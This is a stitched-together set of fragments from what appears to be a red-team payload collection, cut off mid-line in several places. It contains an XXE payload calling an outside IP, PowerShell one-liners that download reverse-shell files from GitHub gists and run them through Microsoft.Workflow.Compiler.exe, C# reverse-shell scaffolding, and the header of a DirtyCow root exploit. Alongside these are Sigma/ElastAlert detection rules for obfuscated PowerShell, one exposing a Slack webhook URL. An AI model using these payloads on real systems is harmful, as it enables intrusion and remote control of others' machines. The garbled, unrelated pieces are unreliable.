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Vanilla, used to verify outbound xxe or blind xxe
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<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

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<?xml version="1.0" encoding="utf-8"?>
<package>
  <component
    id="dummy">
    <registration
      description="dummy"
      progid="dummy"
      version="1.00"
      remotable="True">
      <script

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using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;

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64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsof

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using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Workflow.Activities;

	public class Program : SequentialWorkflowActivity

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<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
  <files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
    <d2p1:string>Rev.Shell</d2p1:string>
  </files>
  <parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
    <assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
    <compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
    <coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
    <embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />

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/*
* A PTRACE_POKEDATA variant of CVE-2016-5195
* should work on RHEL 5 & 6
* 
* (un)comment correct payload (x86 or x64)!
* $ gcc -pthread c0w.c  -o c0w
* $ ./c0w
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* mmap fa65a000

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alert:
- slack
slack_webhook_url: https://hooks.slack.com/services/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
description: Detects suspicious PowerShell invocation with a parameter substring
filter:
- query:
    query_string:
      query: (process_path:"*\\powershell.exe" AND (" \-windowstyle h " OR " \-windowstyl
        h" OR " \-windowsty h" OR " \-windowst h" OR " \-windows h" OR " \-windo h"
        OR " \-wind h" OR " \-win h" OR " \-wi h" OR " \-win h " OR " \-win hi " OR

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title: Suspicious PowerShell Parameter Substring
status: experimental
description: Detects suspicious PowerShell invocation with a parameter substring
references:
    - http://www.danielbohannon.com/blog-1/2017/3/12/powershell-execution-argument-obfuscation-how-it-can-make-detection-easier
tags:
    - attack.execution
    - attack.t1086
author: Florian Roth (rule), Daniel Bohannon (idea), Roberto Rodriguez (Fix)
logsource:

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# These keyword values can be obtained with: logman query providers Microsoft-Windows-Kernel-Registry
[Flags()]
enum RegistryOptions {
    CloseKey              = 0x00000001
    QuerySecurityKey      = 0x00000002
    SetSecurityKey        = 0x00000004
    EnumerateValueKey     = 0x00000010
    QueryMultipleValueKey = 0x00000020
    SetInformationKey     = 0x00000040
    FlushKey              = 0x00000080